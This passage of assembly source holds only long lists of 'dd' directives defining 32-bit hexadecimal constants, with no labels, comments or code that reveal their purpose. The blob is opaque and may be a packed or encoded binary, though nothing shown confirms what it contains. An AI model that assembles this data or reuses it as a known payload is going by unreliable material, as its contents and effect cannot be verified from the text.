33090196h, 2BDE32D2h dd 5AF063F3h, 4383EC9Bh, 0E2CB559Dh, 0BC69400Bh, 824C01Ah dd 14B74AC8h, 861004ECh, 9C2384Fh, 0FBBCA626h, 2ACAD018h dd 0CF3C3A10h, 0C821A001h, 28E9105Ah, 38530844h, 0D10A98BBh dd 0BA04E1DDh, 4154F62Bh, 52DA50E1h, 86752408h, 98FB18DAh dd 7A4ADC67h, 60C11487h, 2E0357A3h, 0ACED3909h, 1D32C21Eh dd 81AE119Ch, 0C6EB69C1h, 27341CE4h, 6CF28C3Bh, 843C3225h dd 0FCA45D24h, 0F45E262h, 0D071BB20h, 0E6ABD5C0h, 5A008CB7h dd 40782576h, 0EE0535E5h, 0DE423186h, 29AFEDD9h, 60C40428h dd 21AA2187h, 0A44B226Ch, 4674C429h, 0C35B00BAh, 0D3936159h dd 5F6702D6h, 0F301451h, 0B1079040h, 40295D3Ah, 0D6A0B468h dd 0EA031372h, 0AE05FFB5h, 5D5F315h, 0C98AEF21h, 5324C426h dd 0E8F8E8BCh, 249E9545h, 0B87B6402h, 7D56EECFh, 0A8FAF4B0h dd 0C7E68B0Eh, 5A7B676Ah, 0D6ED8600h, 9381C406h, 1053FE53h dd 3D913801h, 5452E896h, 7C6CFE45h, 1D004F46h, 0D5ED9A18h dd 0B4136B3Ch, 0D8CE8286h, 20C9B4C8h, 8D447BF9h, 0D04D06EAh dd 70DCA0ACh, 0FA6AD912h, 89B854E9h, 3772639h, 9193BB4Eh dd 433AD0E1h, 7044480Ch, 0A3CCFC01h, 80D9D2EDh, 0DD64C459h dd 4CB07EDCh, 5CB8ACE9h, 1966C500h, 6469E026h, 4938006Fh dd 4C5743A5h, 0B000B278h, 2E63EE1Dh, 327EF91h, 6DEBA3E0h dd 10A66419h, 0C3594900h, 7C5E0382h, 2FE41DE5h, 21901862h dd 0C33F61ABh, 190209FFh, 0D70FE1h, 1BC05BA9h, 6F47881h dd 3D2E0B5h, 7002102h, 954F2584h, 1DEFC06Ch, 3046A4A8h dd 0CC5AEBA9h, 0A33A2703h, 0D8C786ACh, 5D1E1h, 7D1E9F57h dd 0A5586F47h, 9D498900h, 8196181Bh, 0E0B614F9h, 878034D7h dd 94954C25h, 1322C143h, 27CF5900h, 0C6E3771h, 19106005h dd 0CA4DB762h, 83E17000h, 0C1A32F7Dh, 236E3FB2h, 1194F968h dd 0C3568054h, 0F586038Dh, 0A0884D0Ch, 0CAC3005Eh, 196578D5h dd 0DF3CD8D0h, 9B4D0158h, 6AEBBE3Bh, 84C2848h, 0F60387C3h dd 0A24095C4h, 1D8BC354h, 0F11C100h, 18E72598h, 28890A67h dd 81E882CAh, 38640B69h, 832A88Eh, 220C6A49h, 6C310017h dd 0CB185938h, 0C0007B7Eh, 84033612h, 0A5BD1ACFh, 6191644Ch dd 0E8FBC573h, 1C11E81h, 259AD69Dh, 0BE666411h, 7A750329h dd 0B5A39949h, 0E696D840h, 0C0180515h, 1DD39411h, 0B0189822h dd 91B12B3Dh, 7E410056h, 49C8D7C1h, 1C1F97DEh, 0AD49A514h dd 0E4080148h, 0F1C05EF7h, 89A80C67h, 2E18922Dh, 971C40A0h dd 0E5063B77h, 7B49A9ECh, 178E0320h, 67F02705h, 0E78928F8h dd 10114E35h, 65934000h, 0C0FB385Bh, 0D2C027A0h, 8E0650B0h dd 76020FA0h, 6ADE3709h, 0B0DAB020h, 8902C74Ah, 23651A8Fh dd 8ACCA0F1h, 9EB450h, 97558044h, 1CFE360Dh, 0F909A901h dd 61222599h, 8C6E0C20h, 83C35802h, 167C5603h, 0C360A600h dd 0ED629EDh, 1C6600C0h dd 4AAF2EC1h, 466C7B37h, 0FBB51681h, 8001CC55h, 4E9189ABh dd 74728445h, 0C3533077h, 2E1DC808h, 544E6462h, 0F3C338FDh dd 1103BF90h, 1968B32Ah, 28210061h, 0CFD44D80h, 8A077554h dd 0FE37BBFFh, 92C3A850h, 0B0555665h, 0A2B08807h, 0C2C43889h dd 0DED0BE47h, 10DDECE3h, 6F37FDF8h, 2B08F502h, 0E2F40302h dd 401CA3B8h, 39A9B8Ch, 0D0329FE0h, 6900F735h, 80361F3h dd 0E8F6FA77h, 74FD488Ah, 0E1F13E01h, 22BE497Bh, 3090F2F8h dd 5376E273h, 2E24CFE8h, 42024817h, 90E9ACh, 37D37E96h dd 0EAD27814h, 1E39DB8h, 1C99C352h, 97F85866h, 35AA488h dd 73247DC3h, 0D140FF85h, 48C61A4h, 8E66B08Ch, 14F563D0h dd 0B4D4BA21h, 16F77306h, 82ECA861h, 8564310Ah, 3904A79Bh dd 4C80F321h, 26981E05h, 8798CCA5h, 0B4337CB9h, 2FDC9114h dd 0EAF0EBA1h, 0C53CC939h, 0EE2A8247h, 0AA576412h, 465C6C74h dd 6D6A004Dh, 8548BBBDh, 7E8C038Fh, 0E1713903h, 8A019804h dd 0A4852943h, 97235C3Ah, 3DD16500h, 0C9FF559Bh, 0A8848E49h dd 3BA060CEh, 0B4A2108Ah, 9E1EC8C4h, 0D4384065h, 4A72367Bh dd 208161C6h, 11800021h, 410FA1B8h, 8D7146C7h, 4AEE88B0h dd 0CB9C8800h, 7D2F89C8h, 4CC4A01Ch, 238017Bh, 76AD33ABh dd 9A488523h, 0B84717A5h, 0BAF47580h, 0BD3CA481h, 0CBB8A9B2h dd 8386530h, 0C56CA28Dh, 30401564h, 61BA386Dh, 1F898D1Fh dd 0A0400D93h, 0A11D80E8h, 0B4F55069h, 650616A6h, 165C1F4Ah dd 0D9BC08D2h, 5227C9C0h, 46A42195h, 67001091h, 0C8C227B1h dd 0BD039CA0h, 0F6E73C6Dh, 1A700675h, 0C0484933h, 6B2DB546h dd 0BC8A915Ah, 2E0770CEh, 5A453853h, 7D947FE1h, 21D81F4h dd 1E91C9B0h, 20E353AAh, 2F71A180h, 18106159h, 1CB81FDBh dd 0A0814883h, 8DC35AC8h, 0D88ED1B0h, 68400C18h, 0B0D500B1h dd 0E410A94h, 98546011h, 850089FCh, 0F9FC3E9Dh, 0EC8B70C2h dd 0D3910F29h, 9BE999A2h, 69840481h, 6448CAA5h, 0C0997211h dd 0C9491C1Eh, 89D4A4DAh, 506A6888h, 0F0B41835h, 7BC0ACDBh dd 95583E83h, 2B22C6h, 0D27CB5Dh, 65E7BE82h, 4A114009h dd 0BDA0222Dh, 0FC972937h, 5F804D11h, 0BB1CF776h, 0F30B8904h dd 58903C88h, 0AC2F69h, 52DC189Eh, 0EEAB0743h, 395B421Dh dd 0C66A5C01h, 894035F6h, 26D3A8F0h, 74642DBFh, 64910D90h dd 0D0CFC180h, 24D81585h, 251F18h, 11EE991Eh, 3F142594h dd 88F46C74h, 0B08FC060h, 88468E6Bh, 0BB010A22h, 0E37EB0D7h dd 0D9801D23h, 0E924F7D1h, 19E06614h, 3CFE4Ch, 0D3493935h dd 139599F1h, 0B22EB75h, 48103C28h, 0E300B79Dh, 0BE86CF7Ch dd 129BC3BDh, 57EE3D31h, 0D09C0878h, 592582C0h, 0C19C2195h dd 44002F91h, 568927CAh, 3A329236h, 4137D2BAh, 9E18D4D0h dd 95552608h, 402CC4BCh, 4B268668h, 748300BFh, 8BDA55F2h dd 813E5396h, 0CEC1E03Ch, 2C776Fh, 0D261E515h, 0E6895B23h dd 27B5AC1Eh, 7C002896h, 6591516Ch, 0CC234C53h, 4DC06988h dd 0FD0386C3h, 104819EAh, 48C355A7h, 5C00471Ch, 623DDB74h dd 0AD00B83Ah, 25BAC580h, 487C32C1h, 1F090C68h, 0EC021671h dd 0F840789Bh, 0F4A7B703h, 0C1610944h, 64AEF8E3h, 372B9F0Ch dd 221C48CAh, 2AEAE49Eh, 18D43235h, 3381330Eh, 386F5830h dd 5CA210B3h, 8018C8C5h, 8A38772Ah, 0D2009516h, 0E65E739Fh dd 0ECA6D02h, 99A6EBD1h, 18230681h, 0F18C7293h, 1D0C6809h dd 931C150Bh, 42EC00DAh, 1367F02Ch, 0FE5C070h, 0ED803A80h dd 6E26BA9Bh, 7178AB12h, 73C844CBh, 0F0D5CFC3h, 439B8F9h dd 0F32D95E1h, 4024C9BAh, 0B19E7C64h, 84D4F058h, 1E011673h dd 34FFCDC1h, 0C484717Ch, 0F73918h, 3F0C4D9Bh, 0D9ECB113h dd 10E1873h, 7E50984Ah, 4835920Bh, 3760EF94h, 1E7DE642h dd 65731DCDh, 980B0C3Eh, 0BCB248A8h, 1271E771h, 0D3C9A0A3h dd 3FC442FDh, 8D279848h, 7A2606EEh, 0B4133005h, 5BC0789Ah dd 0F454D44Eh, 70147F70h, 1330821Ch, 1C271AF7h, 83FB9DC2h dd 0C1ECF20Ch, 87E2D72Dh, 90BB59B8h, 81F1BB10h, 0F21062B5h dd 29403010h, 55665C09h, 7C7901ABh, 0A430F6B8h, 0CCFA5075h dd 500BFC95h, 30E4E427h, 607128D0h, 81EF7F7Ah, 37D89E18h dd 0FC753965h, 0B8A72C33h, 0D91D66C0h, 92960268h, 4CAC170h dd 9AE18C40h, 4C446F3Ah, 8C10F898h, 0F04F7D00h, 9E882577h dd 0EDEC042Bh, 0B3EA2A29h, 3095B280h, 34A8B04h, 54A38840h dd 5998B7h, 8D55014Ah, 46782AF7h, 141AF415h, 0C00226ECh dd 5A62840h, 748700F7h, 50CCF956h, 40004166h, 0EE16F899h dd 4A3E4691h, 0D9C80155h, 21D1D665h, 0E4540090h, 7B06AFCCh dd 823F20A5h, 0DCB09419h, 9E84CE03h, 0FF4C7C39h, 656760AEh dd 0B8C3FD36h, 93C00E4Ch, 11782FFh, 0B3E61E4h, 4489AE66h dd 6E80B011h, 44A28C38h, 2B14448Ch, 57387600h, 6EB74A8Bh dd 0E9E1179Dh, 44941F61h, 0C002EC45h, 39C84C0h, 582EBD5Ah dd 0C1014D23h, 0F4175120h, 86BCC0h, 0CA6A87F0h, 0C27430E0h dd 712CE448h, 0C4A0A586h, 6C196114h, 74754060h, 52A0077h dd 956987E8h, 789AFDD5h, 667321h, 8ACAB77Dh, 6207C285h dd 91AB3D81h, 54E25B84h, 780D1400h, 6DBF5233h, 0E400F17Eh dd 0C59D3CCDh, 1573B8F4h, 0F08E096Ah, 39F22018h, 0AFF8A460h dd 79972900h, 3BD0C2B1h, 9D183028h, 8D65DB81h, 9A4F2C01h dd 9548F3E9h, 403FF020h, 5018A21h, 9E7A2957h, 503CE4D1h dd 97B8E8D4h, 6DC00A8Eh, 21C7D37h, 0F145A11Ch, 1F2D2C68h dd 139A2440h, 0CB92D035h, 0C0C388BCh, 0D763CC80h, 613BF214h dd 147B4CACh, 0D2EC1A39h, 29C85C8Ah, 0D17D88C0h, 0DDB31E1Fh dd 0B497A518h, 27961491h, 3D7702FCh, 6170D873h, 22E7108Eh dd 0EE48121Eh, 300F06Fh, 709BF005h, 7401214Eh, 0C11C1E77h dd 3E01DAF5h, 0DA51A6FEh, 0BA63FC02h, 9A8E0B9h, 0EE1E8068h dd 0D794300h, 0B54690C8h, 474D038Bh, 62161DB1h, 29AAE1F8h dd 0EC09A0B0h, 46AB589h, 9CC819E8h, 0CB4C0082h, 0C37CBE09h dd 0C0001CC7h, 6DEC3637h, 5E29BCEh, 5B6A0DDCh, 8F7482BFh dd 0A720DCD3h, 0DC202C5Ah, 431952F7h, 0E82B4AF1h, 0C269F510h dd 67BA0410h, 60194460h, 0AD4B21h, 4FF0C96Ch, 0B79F2F4h dd 709A960Bh, 0D9CC1A3Fh, 18265958h, 78DB70A6h, 5EAE0DEh dd 0E5E1A531h, 70840F63h, 48881F00h, 8D2EC11Dh, 84146409h dd 0F8004CE0h, 38008CCDh, 33F28E8Ah, 1A9F9D7h, 0AB2573F0h dd 844429C1h, 0EE3C3678h, 2588A88Eh, 0BE31ABC0h, 90671CCh dd 0DD710362h, 2FB81440h, 0D8020524h, 0F860AD43h, 6EF69Ch dd 0B14B0C12h, 9994ED20h, 84886260h, 0E695D37Dh, 4F209A6Fh dd 0E06ED1h, 71BA67E7h, 208483Ah, 9E1F52D0h, 1C7164F2h dd 0FD60B4DBh, 0A872891Ch, 0B07F0130h, 9EA6F1D0h, 6851244h dd 89275373h, 1DC2894h, 73D2B35h, 0CC4421F2h, 3006A887h dd 28AAE5F9h, 405E46B8h, 0B8E6A1FDh, 0A5C21099h, 0B51040D1h dd 17040055h, 0EF5F143h, 66002E0Ah, 0A87296F3h, 150DA3D8h dd 9062981Fh, 0EC017058h, 74337CBAh, 0A1A864DCh, 0F0C2FCA8h dd 292FFD02h, 0F0E517E7h, 23990B0h, 8B108DE2h, 90A04DC5h dd 0EABDAC27h, 35B9302h, 60EF8F6Ah, 9EBFA800h, 0D0988FDCh dd 142E93B0h, 0D11CC223h, 0A1C88ACEh, 32AF8455h, 0BC1E23FCh dd 45C1421Ch, 40247002h dd 809A75B8h, 262DF1D8h, 0C3940015h, 0BE880C73h, 13465CC0h dd 8360C100h, 821CF7EDh, 73C1FA60h, 9215096Eh, 0F0B0080h dd 0D4C80626h, 0C21CBCD1h, 9D892171h, 0EFD481DBh, 2460A15Dh dd 47F288FDh, 0B049BD00h, 0ED4D2439h, 0E0070F7Ah, 0F126030Ah dd 0A13F38D7h, 1788AD73h, 801211B8h, 1CE3F27Eh, 9882482Bh dd 0D1AE5901h, 51CEC8F1h, 32C16A8Ch, 613110F8h, 42E0F70Dh dd 0C9884169h, 0E7E40049h, 809D8A5Eh, 88811E11h, 2D55274Fh dd 0D42F5F88h, 0C8004C23h, 0A5695093h, 3D34B397h, 70186BDAh dd 0C1035F13h, 0A0B62C90h, 0BD3626E7h, 0F7268174h, 8128ABE5h dd 0A9C170C8h, 702D1B7Ch, 9640F33Eh, 10832D13h, 956A6C05h dd 0F83F200Ah, 0A0885C40h, 32B887h, 0BC4090A7h, 9D311CE9h dd 6437AB09h, 716C621Fh, 189579C4h, 0A1031FE1h, 0F479F2F5h dd 2F0E5B20h, 98C4872h, 0BB5DB300h, 0CE9E9F7Bh, 0B1FE170Eh dd 725E80AFh, 0AA52711Fh, 38B7F0h, 98721870h, 37278105h dd 3918907Eh, 0B00E501Dh, 0E49F0169h, 8AE73E04h, 4C452E33h dd 18217D12h, 1000ADDh, 0E57B2916h, 0C0D42A28h, 9F463521h dd 9E09A085h, 942A32Dh, 823C012Ch, 0E900675Ch, 30FFA519h dd 0C11BA864h, 17409C05h, 0D31A01F0h, 190789FCh, 446F6B3Ch dd 5C03A032h, 0E8C98E48h, 5E96F860h, 63007FC8h, 8FD1707Dh dd 34AA5B6h, 114ED5DAh, 0D65C4D9Fh, 1C2A4CCCh, 0D640EA10h dd 0B81FF337h, 0E0540027h, 0BF66B1DFh, 5B0190B6h, 311E9D84h dd 1880A8B2h, 7B4EE91Bh, 5248CEAh, 0A2417097h, 805091A9h dd 0D07EE772h, 0CF23D8C1h, 623BA10Fh, 19C54CA2h, 38302F1Fh dd 339CBAFEh, 2A504C55h, 26C85A9Bh, 0B8048F34h, 38F2C9A1h dd 0A4A90CA0h, 549358BCh, 684309BCh, 0FBD31F02h, 0BCB215C8h dd 1DC8856h, 6BE3B227h, 0EE576535h, 8C04FC62h, 0E8461660h dd 4A1F1DEh, 8B48DBE0h, 8474D011h, 84B92D21h, 60DB2712h dd 0C4034C89h, 40B823CBh, 1498E62Bh, 58D46A70h, 97A11034h dd 0CF92AC95h, 0A04380B8h, 793F6447h, 0A46E00C7h, 0CB5B5C3Eh dd 0A1014D5Dh, 0C490672h, 11805F81h, 12E86B38h, 450CCDF2h dd 885EA57h, 204C6035h, 3CE89323h, 0FB3FA500h, 3018D9A8h dd 0EB5B03A7h, 642D71BFh, 4D5872F0h, 0A02E4100h, 3CFDDA6Eh dd 1D221D48h, 7356083Dh, 0A0266600h, 1DEE872h, 606EE161h dd 0E05B5D5Fh, 9CB0F6E5h, 0FA0F6200h, 9C376DDBh, 77D5005Ch dd 0B6E8157Fh, 690C6512h, 506C3A47h, 6F8B0FA1h, 0C03FFF97h dd 0FC51BCB3h, 52009E3Bh, 0B8180A36h, 0A2CAC0h, 55B2ABA3h dd 399D5905h, 40C05774h, 0A073152h, 281C0CE4h, 6509F1A5h dd 293261C0h, 3E3B2207h, 4E008AA4h, 1193D10Eh, 0E3000C6Ch dd 0FA9A95DEh, 1C6A6282h, 475D1C22h, 0A019AF8Ch, 49812BA1h dd 2D58A4A0h, 0F7961000h, 5D3D0DE2h, 37653ACAh, 88213330h dd 82009618h, 61DAC2C3h, 55847795h, 80EAD46Bh, 92CE1CA5h dd 91240768h, 0AE143945h, 59037EE0h, 0C200E46Dh, 0DEC110F3h dd 0A14B72CDh, 0E0DC6AA8h, 5161398Dh, 0A5E12900h, 2F949B36h dd 0C9163D07h, 0B240E733h, 0F2EE57FCh, 0A938DC48h, 18305960h dd 36980069h, 1A84994Dh, 64242EBEh, 9B87004Fh, 5C07C03h dd 140C037h, 0EC1845F4h, 0EFF5D7CEh, 0F7D38298h, 0A8F0348h dd 0F85F36DEh, 0CE0DA0Fh, 64A4C05Ch, 824D714Ah, 35302E40h dd 0DA6F08A0h, 55643D25h, 0A02D6740h, 1C489CCCh, 62029F88h dd 406B88CEh, 12996444h, 429D255Ch, 9B590400h, 0F704184Ch dd 2CE41008h, 0E72E7362h, 0DED4072Fh, 0F893E5C1h, 0CEC09DF9h dd 0C0A46AB5h, 0C77934BDh, 90DA97BBh, 71A5EC06h, 0CF954003h dd 485A3A33h, 0FC075771h, 6F79FA8Eh, 26108C15h, 2F804027h dd 0A034048Ch, 622DDA70h, 2C68204Fh, 0D203BBA0h, 0ED6F03B1h dd 2BCAA05Dh, 1DE18D1h, 0C1F62958h, 5BA6A20Eh, 26720014h dd 7D23415Dh, 5E670050h, 0F9E7DBB1h, 2C9BD104h, 6D801611h dd 7DF1F8E8h, 2171608Ch, 1CE8951Dh, 190C2798h, 0C80C6B93h dd 17980989h, 3C10E082h, 0E84C036Ch, 24BEDC10h, 0EC04C25h dd 21E2F596h, 599135BDh, 96168600h, 0B5A304B7h, 481FED3Ch dd 0EC942B98h, 508FC00h, 86A5D4E4h, 1F7044h, 0F9840734h dd 0DC039580h, 8120693Ah, 76E06CF4h, 2020653Ch, 482900A0h dd 1BFC34BAh, 0E94CF713h, 0B3821D1Ch, 0CDD9F3C1h, 7434435Eh dd 882C149Eh, 0A040E44Bh, 94048C11h, 85F229E8h, 9C001838h dd 97DB74E8h, 99BF3E9h, 0BA8D529h, 67901003h, 95E49006h dd 777042BAh, 9C81009Dh, 5CD9F54Ah, 0CD12F829h, 4C1E2835h dd 3B96D704h, 0AC3A2C85h, 6B005023h, 8777E8B6h, 0F33E1C56h dd 904468DEh, 29746BCh, 0E40408FBh, 66B8B10Ch, 7332010h dd 39854116h, 88254440h, 3CD749A0h, 0CF81E730h, 0DF0DF1ACh dd 791B30E0h, 2372F0A1h, 9823DCh, 0E41108F8h, 8085A5F4h dd 5707301Bh, 6504E86Ch, 0DA2C9108h, 0F40014DDh, 995C48ECh dd 0D944BC14h, 0F516DD16h, 0E0F80418h, 4B5C452Ah, 0C9658834h dd 46D00B03h, 42787950h, 9609028Ch, 3765E130h, 8D102E19h dd 87009611h, 97493ACh, 0DA626FBh, 0D0E02DEAh, 9F8056Ah dd 0AB0234FCh, 8847874Ch, 8E606D44h, 1E00B13Fh, 0D820814Bh dd 2A6B6C26h, 90AC5BE2h, 434920DCh, 3B236006h, 0C8408F1Ah dd 2C09A70h, 24E40B08h, 58082824h, 707FA31h, 7FA9DEDBh dd 88602C85h, 10F6960Fh, 0C83D15E2h, 178B8054h, 0A6F49896h dd 46885116h, 30322062h, 6B119FF9h, 568805DAh, 0A02F1B80h dd 77970A7Eh, 5E47F0Fh, 0E712339Bh, 234C2ED7h, 7B90033h dd 0AF0686E4h, 0DDE92A04h, 0D8855912h, 16F3849h, 0DE6C43A0h dd 55DA5C40h, 7637093Dh, 3412348Ch, 31448C47h, 0E2481260h dd 4D0BE803h, 99B19D60h, 0DC23646Eh, 60305864h, 23FA9603h dd 5711B5E2h, 960B8700h, 0E81A4D14h, 3911DD00h, 6E426267h dd 0B04B6004h, 364698DCh, 0DA95DF09h, 0D950AD4Eh, 80FE9C61h dd 70B19FDh, 0D174B149h, 0AC184Eh, 0E7553187h, 81C6DD33h dd 9B043570h, 6679845Fh, 2F9EEC90h, 0E46100F7h, 498BC622h dd 0FAE8E124h, 74CB4C0Ch, 1B035h, 6BBC14EAh, 70B6C519h dd 0DE476807h, 58B3B0B8h, 0BA82661h, 0E86EC0E0h, 7546F1F7h dd 4C4210h, 0CE89622h, 0EC5CE011h, 2D4B5827h, 70B8505Ch dd 0CAC058Ch, 40610108h, 482C8780h, 500B435h, 0EFA413DBh dd 194CAF2h, 1F11EAD2h, 5C9212h, 7324B58h, 28B1CD65h, 0CEC9F009h dd 230F8377h, 0EADD72E6h, 206D055h, 4C98596Eh, 2D80B439h dd 86E7FEEAh, 5C476F2Eh, 76E69A60h, 0F14C0052h, 8EDEB911h dd 30246ECBh, 0C30C2C59h, 13672863h, 3EA2D7E2h, 562374h dd 1BE4E1FDh, 5004C4B3h, 5C8EE5DAh, 0AACEA093h, 0F2E08141h dd 698E4A7Fh, 52A02267h, 6BB460EAh, 71E3C613h, 30F90822h dd 0DAECA02Ah, 4B221D46h, 0E2A06AA0h, 0E044D202h, 8C8D4F0Eh dd 0EDDCD884h, 300DA9ACh, 0D2241631h, 66B5F700h, 4BE80EA9h dd 0E0670272h, 8002FB8Bh, 5091449Dh, 0E62B17C0h, 0F90030C7h dd 3827049Bh, 0B35B598Fh, 5CF4248Ch, 2E016F46h, 3A8B405Ah dd 4399735h, 0A400A06Eh, 22E3B10Dh, 3174EAC2h, 4E8FAA12h dd 0ADC6EC83h, 0D064A052h, 4FB230B2h, 1C02F430h, 1D9081F5h dd 0DD0C80B7h, 0A2AEE608h, 48703A5Ch, 8C4FE8FCh, 941F9F74h dd 5E018C98h dd 5FDC5CF9h, 0F8088054h, 94CD8049h, 0E45C09C5h, 28E98A07h dd 4D7257A4h, 913C95C0h, 0D7258049h, 708C45DAh, 0F0E52436h dd 4E467410h, 0AAF55705h, 3EB28137h, 70BCF108h, 2C174ED1h dd 680C5C97h, 985D131h, 689AD75Bh, 0CDA87480h, 0D4A06241h dd 212A5CE9h, 794AEC67h, 54164840h, 768A73Ch, 0E45D7476h dd 5CDA9399h, 47C42140h, 7FE93213h, 0A9C38C9Ah, 0AEE023FDh dd 41058927h, 59E30EE8h, 8404E801h, 442C4597h, 4C4335ECh dd 3D82303Ah, 2492F5FCh, 1CE97B60h, 0CCB4B313h, 82490F1Ch dd 8010B77Ah, 0F9C8FA7Dh, 9814E06Eh, 7BA453C9h, 0E8707B48h dd 3E028C4Bh, 0B76C2D5Eh, 9618C189h, 809F618h, 4504E40Fh dd 2E1580ACh, 0E794B107h, 6E030E14h, 646F24F0h, 0F49C2Eh dd 0A09B237Ah, 0E9D0E7F6h, 0D3821200h, 9FDE04F8h, 79EC997Fh dd 3A661833h, 9B00BC0Dh, 0CDE3A6F6h, 0A804E46h, 0F256263Ah dd 0C06A1818h, 6D2598DAh, 0F46C0032h, 0B9AFF87h, 0B13E6CA3h dd 5511CC9Dh, 5C496680h, 0D815AAC7h, 88613Ah, 234F577Ch dd 259C2868h, 10A08117h, 3C2E04BBh, 3090A248h, 6BF83159h dd 310F123Ah, 237C3AF0h, 5C0A0059h, 0B75B8A6Ch, 0E781649h dd 0D899D5A2h, 42FE0F1h, 0F322ED73h, 0A290E382h, 4F03356h dd 0D30E0DBh, 2BCA592Eh, 0B9CC1705h, 959C0FA1h, 0C8087FE6h dd 4022F46h, 0ADE2FB96h, 84003094h, 74B8960Ch, 1657D054h dd 9079AF66h, 0D2581A6Ch, 36F46700h, 2F0C4F3Fh, 7CC8024Eh dd 0E4833AA9h, 0F00D852h, 6BCEA462h, 0E9FF04h, 14EFA703h dd 97DC5469h, 65C1CB2h, 436DBCC4h, 6B7B0D4Dh, 54F069E0h dd 7FB029D1h, 183279A4h, 255A1764h, 0F87E144Fh, 12379D10h dd 0E8C84397h, 0A048C41h, 1DE20196h, 8A07048Eh, 0B9719612h dd 0CC424468h, 835A3Dh, 160A33E4h, 0A82195h, 0A72ED1C7h dd 0EE0B2064h, 0DD208C90h, 0E0FC0146h, 29FDF29h, 0F3498054h dd 1CC252EFh, 94400026h, 0F8DFB32h, 0A909A534h, 9704A601h dd 806E9130h, 1B1A63E7h, 0F4D8F54Fh, 0CDE41D14h, 5E0E4CAh dd 0E27C2C67h, 4D6DF144h, 4716910Ch, 806EC014h, 0A1F52400h dd 13672A64h, 225CE802h, 737288DEh, 0EF947004h, 7A0B8C90h dd 90E482C3h, 337E05Ch, 0D95CB13Fh, 0C0466A21h, 297CF0A4h dd 0E3EFAB7h, 0F1D68E1Eh, 2F01EA0Fh, 3C44A258h, 8C31F810h dd 787EA5E8h, 8B0FC100h, 0A29D6D89h, 3ACD20EDh, 0E2C8FB00h dd 0F0F9E771h, 0C76B15A9h, 0A059905Ah, 0B900CABCh, 0AE923FF0h dd 2189C25h, 0E302D503h, 48C0B4DDh, 2B807237h, 5448BA9Dh dd 125788E2h, 145F22EEh, 0A2CF8420h, 674BF883h, 0DAC10DD8h dd 0AE1EF200h, 4CCC195Ch, 0AF2501EFh, 81C648F5h, 0F00B10A5h dd 98C00165h, 0F295DE10h, 40588544h, 54A203E8h, 663065E2h dd 3815188Ah, 0DB5C9859h, 20BC2676h, 6D4676h, 5E87050Dh dd 963931h, 3352E843h, 36E0CEE1h, 0F95B5C00h, 7A32B46Bh dd 909262h, 0EFECB1A0h, 97BC6441h, 8CEBF12Eh, 0A4C4B08h dd 37A15B2Fh, 17AF089h, 394C81C5h, 91B1137Dh, 0D1DDD820h dd 0BC27008Eh, 0F3DC2DF0h, 0DFE2D7E9h, 8CED7B00h, 7F45DDA6h dd 486E1843h, 9FE49038h, 0DE89E000h, 4427058Fh, 725D675Eh dd 0A958575Ah, 6F918017h, 53AA6C81h, 2A080F0h, 4E9834CAh dd 59249CC9h, 0D403DDDh, 81386E60h, 0F996DEDCh, 887C8C61h dd 0CE196B32h, 925F0210h, 918B0028h, 10B1548Ah, 2DB8206Ch dd 3FDDCE12h, 7F14BC02h, 4B8C508Dh, 2824484Ch, 0D1A02BC3h dd 0D42C15DAh, 0A04361B0h, 2B907DECh, 0DB2EA00h, 0D86EE18Eh dd 398C764h, 8D39A091h, 543EE5C9h, 0F1F054DEh, 6F46AE12h dd 0EDF29002h, 13C850FDh, 60184907h, 2EE86FA4h, 0C06DF221h dd 9DE8971Fh, 66DD510Ch, 9439506Ch, 92C98010h, 415BCBC8h dd 819A500h, 8FF3837Dh, 78E101EFh, 0C3E3FDEAh, 72BC5084h dd 59073D80h, 0E921BF0Fh, 1967C6h, 0A8884B57h, 0EB7610DEh dd 0C3B79200h, 0B4FC9C12h, 67720452h, 0A82FEDE3h, 7D5F8110h dd 2EC8E695h, 0B9FA56h, 8BF6A33Ch, 0B6DDF00Eh, 0A4E2822Ch dd 0C8D64240h, 0F89CA062h, 0C084AD06h, 1ADEF25Fh, 2226740h dd 0FB88059Ah, 50C50704h, 1B4C42E2h, 0CF4BC0B5h, 644A229Ch dd 97C13C90h, 0D3F90029h, 2621B64Bh, 39007C72h, 576D012Eh dd 7C24B453h, 5E4830E1h, 2CA391D1h, 0D1D7376h, 0BBC710Ch dd 1029CE0h, 4D5C7F30h, 2EF22873h, 0F0A4A833h, 360202E4h dd 564B90EDh, 0FD02D0E2h, 9C780876h, 0F9E8010Bh, 618E8BDEh dd 6B2E071Ch, 16A00020h, 0DCAE9B5Bh, 0FE6E2669h, 648F09F8h dd 0B3BBA407h, 3B8EE8Ah, 0F938379Ch, 0E0991EA7h, 657FE8CBh dd 6054C440h, 480CFA82h, 6E4B0C86h, 1E3C1C98h, 6834FD01h dd 7BF5DFFAh, 2F2A1061h, 2E238Ch, 0C112F6Fh, 2D026C16h dd 3A1FB1E1h, 6D886864h, 0B5A63C28h, 2DFD2280h, 0D6E2D9F2h dd 0F8403826h, 0F60A00A4h, 0C820985Ah, 554BBF03h, 0C7B6F261h dd 98EC185Dh, 3BB8BC4Dh, 12A70900h, 2FAA1003h, 0DE7008B8h dd 2B503F63h, 0B860100Ah, 3431238h, 0ECE52C0Fh, 52594829h dd 2A02F840h, 0A6CE95DFh, 37953058h, 986D808Ch, 938911C0h dd 0DA4A1F02h, 33A65B8h, 0E1CCD75Ch, 0B98C2D48h, 81145A42h dd 68703688h, 5A6111h, 3E89AEE6h, 8486FE2h, 0EA8C56E8h dd 0DF8225D5h, 0F465F825h, 8C001D74h, 9D85CFAFh, 5A38A3Bh dd 2A8BD203h, 0C9A4C0EDh, 0C51C7081h, 0E7C34527h, 0A06E497Bh dd 1E8E71AAh, 0C1BCEBC2h, 0EF6DCEC3h, 540898ABh, 0BAAD21h dd 6BCC49EBh, 0DA94E62Ch, 5CF4B711h, 861473Bh, 2088566Eh dd 2C0EB1E8h, 0A04ED914h, 27497803h, 0FB5701EFh, 709F6FBAh dd 0F7D77045h, 47B7B006h, 6040B1C9h, 85E7494Fh, 943A4BF2h dd 0D1709F28h, 0EA46C006h, 88070F21h, 0A6A59A34h, 0ACD9C78Dh dd 21C0FE08h, 0A8347FAEh, 0F37C24h, 59C72DEFh, 1729F0EDh dd 88E7A431h, 3083EE1Eh, 73386D69h, 0ED1D7801h, 81D498DBh dd 8231C212h, 76F50171h, 88FD3C48h, 340079A8h, 0C529B919h dd 0FF32F6CEh, 0F3EAB450h, 0C8C4A888h, 31F20087h, 0C40DB08Bh dd 72370B68h, 0EB63286Fh, 705105EDh, 5E5B3Dh, 0F6156C94h dd 29C02F2Dh, 12B76ECBh, 9161C175h, 60822A96h, 0AF340BEAh dd 100009F2h, 142A9EB1h, 381C0054h, 